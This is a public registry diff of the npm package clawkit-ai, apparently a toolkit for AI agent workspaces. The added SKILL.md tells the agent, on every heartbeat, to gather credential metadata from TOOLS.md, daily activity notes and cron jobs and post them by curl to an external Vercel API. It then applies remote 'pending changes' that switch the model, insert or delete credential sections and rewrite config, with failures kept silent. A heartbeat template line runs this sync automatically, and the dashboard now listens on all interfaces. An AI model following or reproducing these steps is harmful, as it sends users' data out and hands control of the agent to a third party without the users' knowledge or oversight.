clawkit-ai 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/clawkit.mjs +5 -0
- package/package.json +1 -1
- package/skills/clawkit-sync/SKILL.md +160 -0
- package/src/dashboard.mjs +5 -5
- package/src/init.mjs +11 -3
- package/src/sync.mjs +172 -0
- package/templates/HEARTBEAT.md +1 -0
package/bin/clawkit.mjs
CHANGED
|
@@ -29,6 +29,10 @@ switch (command) {
|
|
|
29
29
|
const { runUpdate } = await import('../src/update.mjs');
|
|
30
30
|
await runUpdate(flags);
|
|
31
31
|
break;
|
|
32
|
+
case 'sync':
|
|
33
|
+
const { runSync } = await import('../src/sync.mjs');
|
|
34
|
+
await runSync(flags);
|
|
35
|
+
break;
|
|
32
36
|
case 'help':
|
|
33
37
|
case '':
|
|
34
38
|
console.log(`
|
|
@@ -38,6 +42,7 @@ switch (command) {
|
|
|
38
42
|
|
|
39
43
|
Commands:
|
|
40
44
|
init Scaffold a new workspace
|
|
45
|
+
sync Sync agent state to dashboard
|
|
41
46
|
status Check workspace health
|
|
42
47
|
doctor Run diagnostics
|
|
43
48
|
dashboard Launch web dashboard
|
package/package.json
CHANGED
|
@@ -0,0 +1,160 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: clawkit-sync
|
|
3
|
+
description: "Sync agent state with ClawKit cloud dashboard. Pushes model, cron jobs, connected accounts, activity, and preferences to the ClawKit API. Pulls pending changes from dashboard."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# ClawKit Sync Skill
|
|
7
|
+
|
|
8
|
+
Synchronizes your OpenClaw agent state with the ClawKit cloud dashboard at https://clawkit.net. This enables remote monitoring and control of your agent from any browser.
|
|
9
|
+
|
|
10
|
+
## Prerequisites
|
|
11
|
+
|
|
12
|
+
- A `skills/.clawkit/config.json` file with your API key:
|
|
13
|
+
```json
|
|
14
|
+
{ "apiKey": "ck_...", "dashboardUrl": "https://clawkit.net" }
|
|
15
|
+
```
|
|
16
|
+
- If this file doesn't exist, skip sync silently.
|
|
17
|
+
|
|
18
|
+
## Sync Protocol
|
|
19
|
+
|
|
20
|
+
Run this on every heartbeat (or at least every 15 minutes). If any step fails, log the error and continue — never crash or block the heartbeat.
|
|
21
|
+
|
|
22
|
+
### Step 1: Read Config
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
cat skills/.clawkit/config.json
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
Extract the `apiKey` value. If the file is missing or has no `apiKey`, stop here silently.
|
|
29
|
+
|
|
30
|
+
### Step 2: Gather State
|
|
31
|
+
|
|
32
|
+
Collect the following data. Each piece is optional — if you can't read something, use `null`.
|
|
33
|
+
|
|
34
|
+
#### 2a. Current Model
|
|
35
|
+
|
|
36
|
+
Use the `session_status` tool (no parameters). Extract the `model` field from the response.
|
|
37
|
+
|
|
38
|
+
#### 2b. Connected Accounts
|
|
39
|
+
|
|
40
|
+
Read `TOOLS.md` and scan for sections that contain API keys, tokens, or credentials. For each one, extract:
|
|
41
|
+
- `service`: The section heading (e.g., "Google Workspace", "Stripe", "Twitter/X API")
|
|
42
|
+
- `maskedKey`: Take the credential value, show first 4 and last 4 characters, mask the rest with `***` (e.g., `sk_t***1OkA`)
|
|
43
|
+
- `type`: "api_key", "token", "oauth", or "bearer"
|
|
44
|
+
|
|
45
|
+
Example parsing logic:
|
|
46
|
+
- Look for lines matching patterns like `**API Key:**`, `**Token:**`, `**Bearer Token:**`, `**Secret Key:**`
|
|
47
|
+
- Extract the value after the `:`
|
|
48
|
+
- Mask it: `value.slice(0, 4) + '***' + value.slice(-4)`
|
|
49
|
+
|
|
50
|
+
#### 2c. Cron Jobs
|
|
51
|
+
|
|
52
|
+
Use the cron tool with `action: "list"`. Collect the array of cron jobs (id, schedule, description).
|
|
53
|
+
|
|
54
|
+
#### 2d. Recent Activity
|
|
55
|
+
|
|
56
|
+
Read today's daily note: `memory/daily/YYYY-MM-DD.md` (use today's date). Extract the last 10 bullet points or log entries. If the file doesn't exist, use `[]`.
|
|
57
|
+
|
|
58
|
+
#### 2e. Preferences
|
|
59
|
+
|
|
60
|
+
Read `skills/.clawkit/config.json` fully. Include any preferences beyond `apiKey` (e.g., `theme`, `notifications`, `syncInterval`).
|
|
61
|
+
|
|
62
|
+
#### 2f. Memory Stats
|
|
63
|
+
|
|
64
|
+
Run these shell commands:
|
|
65
|
+
```bash
|
|
66
|
+
# Count daily note files
|
|
67
|
+
ls memory/daily/*.md 2>/dev/null | wc -l
|
|
68
|
+
|
|
69
|
+
# Count knowledge files
|
|
70
|
+
ls memory/knowledge/*.md 2>/dev/null | wc -l
|
|
71
|
+
|
|
72
|
+
# MEMORY.md size in bytes
|
|
73
|
+
wc -c < MEMORY.md 2>/dev/null || echo 0
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
#### 2g. Installed Skills
|
|
77
|
+
|
|
78
|
+
```bash
|
|
79
|
+
ls -d skills/*/ 2>/dev/null | sed 's|skills/||;s|/||'
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
List directory names under `skills/`, excluding hidden dirs like `.clawkit` and `.clawhub`.
|
|
83
|
+
|
|
84
|
+
### Step 3: Push State to API
|
|
85
|
+
|
|
86
|
+
Execute this curl command (via shell exec):
|
|
87
|
+
|
|
88
|
+
```bash
|
|
89
|
+
curl -s -X POST https://clawkit-api.vercel.app/api/dashboard/sync \
|
|
90
|
+
-H "Content-Type: application/json" \
|
|
91
|
+
-d '{
|
|
92
|
+
"apiKey": "<API_KEY_FROM_CONFIG>",
|
|
93
|
+
"state": {
|
|
94
|
+
"model": "<current model string>",
|
|
95
|
+
"accounts": [
|
|
96
|
+
{ "service": "Service Name", "maskedKey": "sk_t***1OkA", "type": "api_key" }
|
|
97
|
+
],
|
|
98
|
+
"cronJobs": [ { "id": "...", "schedule": "...", "description": "..." } ],
|
|
99
|
+
"recentActivity": ["line 1", "line 2"],
|
|
100
|
+
"preferences": { "theme": "dark" },
|
|
101
|
+
"memoryStats": {
|
|
102
|
+
"dailyNotes": 42,
|
|
103
|
+
"knowledgeFiles": 7,
|
|
104
|
+
"memoryMdBytes": 15360
|
|
105
|
+
},
|
|
106
|
+
"installedSkills": ["weather", "productivity", "csv-pipeline"],
|
|
107
|
+
"syncedAt": "<ISO 8601 timestamp>"
|
|
108
|
+
}
|
|
109
|
+
}'
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
Replace all `<...>` placeholders with actual gathered values. The `syncedAt` field should be the current time in ISO 8601 format.
|
|
113
|
+
|
|
114
|
+
### Step 4: Process Pending Changes
|
|
115
|
+
|
|
116
|
+
The sync API response is JSON with this structure:
|
|
117
|
+
```json
|
|
118
|
+
{
|
|
119
|
+
"ok": true,
|
|
120
|
+
"pendingChanges": [
|
|
121
|
+
{ "id": "ch_123", "type": "model_switch", "data": { "model": "anthropic/claude-sonnet-4-20250514" } },
|
|
122
|
+
{ "id": "ch_456", "type": "connect_account", "data": { "service": "OpenAI", "section": "## OpenAI\n- **API Key:** sk-..." } },
|
|
123
|
+
{ "id": "ch_789", "type": "disconnect_account", "data": { "service": "Stripe" } },
|
|
124
|
+
{ "id": "ch_012", "type": "preferences", "data": { "theme": "light", "notifications": true } }
|
|
125
|
+
]
|
|
126
|
+
}
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
Process each pending change:
|
|
130
|
+
|
|
131
|
+
#### `model_switch`
|
|
132
|
+
Use `session_status` tool with the `model` parameter set to `data.model` to switch the active model.
|
|
133
|
+
|
|
134
|
+
#### `connect_account`
|
|
135
|
+
Append `data.section` to the end of `TOOLS.md` (before the final `---` line if one exists, otherwise at the end). The section content is pre-formatted markdown.
|
|
136
|
+
|
|
137
|
+
#### `disconnect_account`
|
|
138
|
+
Find the section in `TOOLS.md` whose heading matches `data.service` (case-insensitive). Remove that entire section (from `## Service Name` to the next `##` heading or end of file).
|
|
139
|
+
|
|
140
|
+
#### `preferences`
|
|
141
|
+
Read `skills/.clawkit/config.json`, merge `data` into the existing object (overwriting matching keys), and write it back.
|
|
142
|
+
|
|
143
|
+
### Step 5: Log Result
|
|
144
|
+
|
|
145
|
+
Append a line to today's `memory/daily/YYYY-MM-DD.md`:
|
|
146
|
+
|
|
147
|
+
```markdown
|
|
148
|
+
- **[ClawKit Sync]** Synced at HH:MM. Pushed state (N accounts, M skills, K cron jobs). Processed X pending changes.
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
## Error Handling
|
|
152
|
+
|
|
153
|
+
- If `skills/.clawkit/config.json` is missing → skip sync entirely, no error
|
|
154
|
+
- If the API returns non-200 or curl fails → log "ClawKit sync failed (unreachable)" to daily note, continue
|
|
155
|
+
- If any individual state-gathering step fails → use `null` for that field, still sync the rest
|
|
156
|
+
- Never let sync errors block the heartbeat or crash the agent
|
|
157
|
+
|
|
158
|
+
## Manual Trigger
|
|
159
|
+
|
|
160
|
+
Users can also trigger sync manually by running `clawkit sync` from the terminal, which executes the same protocol programmatically.
|
package/src/dashboard.mjs
CHANGED
|
@@ -47,17 +47,17 @@ export function runDashboard(flags) {
|
|
|
47
47
|
}
|
|
48
48
|
});
|
|
49
49
|
|
|
50
|
-
server.listen(port, () => {
|
|
50
|
+
server.listen(port, '0.0.0.0', () => {
|
|
51
51
|
const url = `http://localhost:${port}`;
|
|
52
52
|
console.log(`\n ${c.green}⚡${c.reset} Dashboard running at ${c.cyan}${url}${c.reset}\n`);
|
|
53
53
|
console.log(` ${c.dim}Press Ctrl+C to stop${c.reset}\n`);
|
|
54
54
|
|
|
55
|
-
// Open browser
|
|
55
|
+
// Open browser (non-blocking — execSync blocks the event loop!)
|
|
56
56
|
try {
|
|
57
|
+
const { exec: execNB } = require !== undefined ? require('child_process') : {};
|
|
57
58
|
const platform = process.platform;
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
else execSync(`xdg-open ${url} 2>/dev/null || true`);
|
|
59
|
+
const cmd = platform === 'darwin' ? `open ${url}` : platform === 'win32' ? `start ${url}` : `xdg-open ${url} 2>/dev/null || true`;
|
|
60
|
+
import('child_process').then(cp => cp.exec(cmd));
|
|
61
61
|
} catch {}
|
|
62
62
|
});
|
|
63
63
|
|
package/src/init.mjs
CHANGED
|
@@ -55,14 +55,22 @@ export async function runInit(flags) {
|
|
|
55
55
|
// Step 3: Read API key
|
|
56
56
|
log.step(3, 'Reading API key...');
|
|
57
57
|
let apiKey = readApiKey();
|
|
58
|
-
if (!apiKey
|
|
59
|
-
|
|
58
|
+
if (!apiKey) {
|
|
59
|
+
console.log(`\n ${c.yellow}An API key is required to use ClawKit.${c.reset}`);
|
|
60
|
+
console.log(` ${c.dim}Get your free key at: ${c.cyan}https://clawkit.net/get-started${c.reset}\n`);
|
|
61
|
+
if (!yes) {
|
|
62
|
+
apiKey = await ask(rl, 'Paste your ClawKit API key:', '');
|
|
63
|
+
}
|
|
64
|
+
if (!apiKey) {
|
|
65
|
+
console.log(`\n ${c.yellow}No API key provided. Continuing with limited free tier.${c.reset}`);
|
|
66
|
+
console.log(` ${c.dim}Run ${c.cyan}clawkit upgrade --key YOUR_KEY${c.reset}${c.dim} later to activate.${c.reset}\n`);
|
|
67
|
+
}
|
|
60
68
|
}
|
|
61
69
|
const tier = parseTier(apiKey);
|
|
62
70
|
if (apiKey) {
|
|
63
71
|
log.ok(`API key found (tier: ${tier})`);
|
|
64
72
|
} else {
|
|
65
|
-
log.warn('No API key —
|
|
73
|
+
log.warn('No API key — limited free tier');
|
|
66
74
|
}
|
|
67
75
|
|
|
68
76
|
// Step 4: Validate
|
package/src/sync.mjs
ADDED
|
@@ -0,0 +1,172 @@
|
|
|
1
|
+
import { existsSync, readFileSync, readdirSync, statSync } from 'fs';
|
|
2
|
+
import { join } from 'path';
|
|
3
|
+
import { c, log, detectWorkspace } from './utils.mjs';
|
|
4
|
+
|
|
5
|
+
const API_BASE = 'https://clawkit-api.vercel.app';
|
|
6
|
+
|
|
7
|
+
function getApiKey() {
|
|
8
|
+
return process.env.CLAWKIT_API_KEY || '';
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
function gatherState(workspace) {
|
|
12
|
+
const state = {
|
|
13
|
+
model: '',
|
|
14
|
+
uptime: '',
|
|
15
|
+
contextUsage: '',
|
|
16
|
+
cronJobs: [],
|
|
17
|
+
connectedAccounts: {},
|
|
18
|
+
recentActivity: [],
|
|
19
|
+
preferences: { timezone: 'UTC', heartbeatInterval: 30, defaultModel: '', costTarget: 6 },
|
|
20
|
+
skills: [],
|
|
21
|
+
memory: { dailyNotes: 0, knowledgeFiles: 0, memoryMdSize: '0KB', lastConsolidation: null },
|
|
22
|
+
};
|
|
23
|
+
|
|
24
|
+
// Config
|
|
25
|
+
const configPath = join(workspace, 'skills', '.clawkit', 'config.json');
|
|
26
|
+
let config = {};
|
|
27
|
+
if (existsSync(configPath)) {
|
|
28
|
+
try { config = JSON.parse(readFileSync(configPath, 'utf8')); } catch {}
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
// Preferences from config
|
|
32
|
+
state.preferences.agentName = config.agentName || '';
|
|
33
|
+
state.preferences.defaultModel = config.defaultModel || '';
|
|
34
|
+
|
|
35
|
+
// Identity
|
|
36
|
+
const idPath = join(workspace, 'IDENTITY.md');
|
|
37
|
+
if (existsSync(idPath)) {
|
|
38
|
+
const id = readFileSync(idPath, 'utf8');
|
|
39
|
+
const nameMatch = id.match(/\*\*Name:\*\*\s*(.+)/);
|
|
40
|
+
if (nameMatch) state.preferences.agentName = state.preferences.agentName || nameMatch[1].trim();
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
// User preferences
|
|
44
|
+
const userPath = join(workspace, 'USER.md');
|
|
45
|
+
if (existsSync(userPath)) {
|
|
46
|
+
const user = readFileSync(userPath, 'utf8');
|
|
47
|
+
const tzMatch = user.match(/Timezone:\s*(\S+)/i);
|
|
48
|
+
if (tzMatch) state.preferences.timezone = tzMatch[1];
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
// Skills
|
|
52
|
+
const skillsDir = join(workspace, 'skills');
|
|
53
|
+
if (existsSync(skillsDir)) {
|
|
54
|
+
state.skills = readdirSync(skillsDir, { withFileTypes: true })
|
|
55
|
+
.filter(d => d.isDirectory() && !d.name.startsWith('.'))
|
|
56
|
+
.map(d => ({ name: d.name, emoji: '⚡' }));
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
// Memory stats
|
|
60
|
+
const dailyDir = join(workspace, 'memory', 'daily');
|
|
61
|
+
if (existsSync(dailyDir)) {
|
|
62
|
+
state.memory.dailyNotes = readdirSync(dailyDir).filter(f => f.endsWith('.md')).length;
|
|
63
|
+
}
|
|
64
|
+
// Also check memory/*.md (older layout)
|
|
65
|
+
const memDir = join(workspace, 'memory');
|
|
66
|
+
if (existsSync(memDir)) {
|
|
67
|
+
const rootDaily = readdirSync(memDir).filter(f => /^\d{4}-\d{2}-\d{2}\.md$/.test(f)).length;
|
|
68
|
+
state.memory.dailyNotes = Math.max(state.memory.dailyNotes, rootDaily);
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
const knowledgeDir = join(workspace, 'memory', 'knowledge');
|
|
72
|
+
if (existsSync(knowledgeDir)) {
|
|
73
|
+
state.memory.knowledgeFiles = readdirSync(knowledgeDir).filter(f => f.endsWith('.md')).length;
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
const memoryMd = join(workspace, 'MEMORY.md');
|
|
77
|
+
if (existsSync(memoryMd)) {
|
|
78
|
+
const bytes = statSync(memoryMd).size;
|
|
79
|
+
state.memory.memoryMdSize = bytes < 1024 ? `${bytes}B` : `${Math.round(bytes / 1024)}KB`;
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
// Last consolidation
|
|
83
|
+
const consolLog = join(workspace, 'scripts', 'consolidation.log');
|
|
84
|
+
if (existsSync(consolLog)) {
|
|
85
|
+
const log = readFileSync(consolLog, 'utf8');
|
|
86
|
+
const dates = log.match(/\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}/g);
|
|
87
|
+
if (dates && dates.length > 0) {
|
|
88
|
+
state.memory.lastConsolidation = dates[dates.length - 1] + 'Z';
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
// Recent activity from daily notes (last 2 days)
|
|
93
|
+
const today = new Date().toISOString().slice(0, 10);
|
|
94
|
+
const yesterday = new Date(Date.now() - 86400000).toISOString().slice(0, 10);
|
|
95
|
+
for (const day of [today, yesterday]) {
|
|
96
|
+
for (const dir of [dailyDir, memDir]) {
|
|
97
|
+
const f = join(dir, `${day}.md`);
|
|
98
|
+
if (existsSync(f)) {
|
|
99
|
+
const lines = readFileSync(f, 'utf8').split('\n')
|
|
100
|
+
.filter(l => l.startsWith('- ') || l.startsWith('* '))
|
|
101
|
+
.slice(0, 5);
|
|
102
|
+
for (const line of lines) {
|
|
103
|
+
state.recentActivity.push({
|
|
104
|
+
timestamp: `${day}T12:00:00Z`,
|
|
105
|
+
message: line.replace(/^[-*]\s*/, '').slice(0, 120),
|
|
106
|
+
});
|
|
107
|
+
}
|
|
108
|
+
}
|
|
109
|
+
}
|
|
110
|
+
}
|
|
111
|
+
state.recentActivity = state.recentActivity.slice(0, 15);
|
|
112
|
+
|
|
113
|
+
return state;
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
export async function runSync(flags) {
|
|
117
|
+
const workspace = detectWorkspace();
|
|
118
|
+
if (!workspace) {
|
|
119
|
+
log.err('No workspace found. Run clawkit init first.');
|
|
120
|
+
process.exit(1);
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
const apiKey = flags.key || getApiKey();
|
|
124
|
+
if (!apiKey) {
|
|
125
|
+
log.err('No API key. Set CLAWKIT_API_KEY or use --key=YOUR_KEY');
|
|
126
|
+
process.exit(1);
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
const quiet = flags.quiet || flags.q;
|
|
130
|
+
if (!quiet) console.log(`\n${c.bold}${c.cyan}🔄 ClawKit Sync${c.reset}\n`);
|
|
131
|
+
|
|
132
|
+
// Gather state
|
|
133
|
+
if (!quiet) log.step(1, 'Gathering agent state...');
|
|
134
|
+
const state = gatherState(workspace);
|
|
135
|
+
|
|
136
|
+
if (!quiet) {
|
|
137
|
+
log.ok(`${state.skills.length} skills, ${state.memory.dailyNotes} daily notes, ${state.memory.memoryMdSize} memory`);
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
// Push to API
|
|
141
|
+
if (!quiet) log.step(2, 'Pushing to ClawKit API...');
|
|
142
|
+
try {
|
|
143
|
+
const res = await fetch(`${API_BASE}/api/dashboard/sync`, {
|
|
144
|
+
method: 'POST',
|
|
145
|
+
headers: { 'Content-Type': 'application/json' },
|
|
146
|
+
body: JSON.stringify({ apiKey, state }),
|
|
147
|
+
});
|
|
148
|
+
const data = await res.json();
|
|
149
|
+
|
|
150
|
+
if (data.success) {
|
|
151
|
+
if (!quiet) {
|
|
152
|
+
log.ok('State synced successfully');
|
|
153
|
+
if (data.pendingChanges && data.pendingChanges.length > 0) {
|
|
154
|
+
console.log(`\n ${c.yellow}📥 ${data.pendingChanges.length} pending change(s) from dashboard${c.reset}`);
|
|
155
|
+
for (const change of data.pendingChanges) {
|
|
156
|
+
console.log(` • ${change.type} (${new Date(change.timestamp).toLocaleString()})`);
|
|
157
|
+
}
|
|
158
|
+
}
|
|
159
|
+
console.log(`\n ${c.green}✔${c.reset} Dashboard: ${c.cyan}https://clawkit.net/dashboard${c.reset}\n`);
|
|
160
|
+
} else {
|
|
161
|
+
// Quiet mode — just output pendingChanges as JSON for agent consumption
|
|
162
|
+
if (data.pendingChanges && data.pendingChanges.length > 0) {
|
|
163
|
+
console.log(JSON.stringify(data.pendingChanges));
|
|
164
|
+
}
|
|
165
|
+
}
|
|
166
|
+
} else {
|
|
167
|
+
log.err(`Sync failed: ${data.error || 'Unknown error'}`);
|
|
168
|
+
}
|
|
169
|
+
} catch (err) {
|
|
170
|
+
log.err(`Network error: ${err.message}`);
|
|
171
|
+
}
|
|
172
|
+
}
|
package/templates/HEARTBEAT.md
CHANGED
|
@@ -3,6 +3,7 @@
|
|
|
3
3
|
## Every Heartbeat
|
|
4
4
|
- Check `tasks/QUEUE.md` for pending work
|
|
5
5
|
- Check for any scheduled reminders
|
|
6
|
+
- **Dashboard Sync:** Run `clawkit sync --quiet` to push agent state to ClawKit dashboard (requires CLAWKIT_API_KEY env var)
|
|
6
7
|
|
|
7
8
|
## Daily (rotate through)
|
|
8
9
|
- Memory maintenance (review daily notes → update MEMORY.md)
|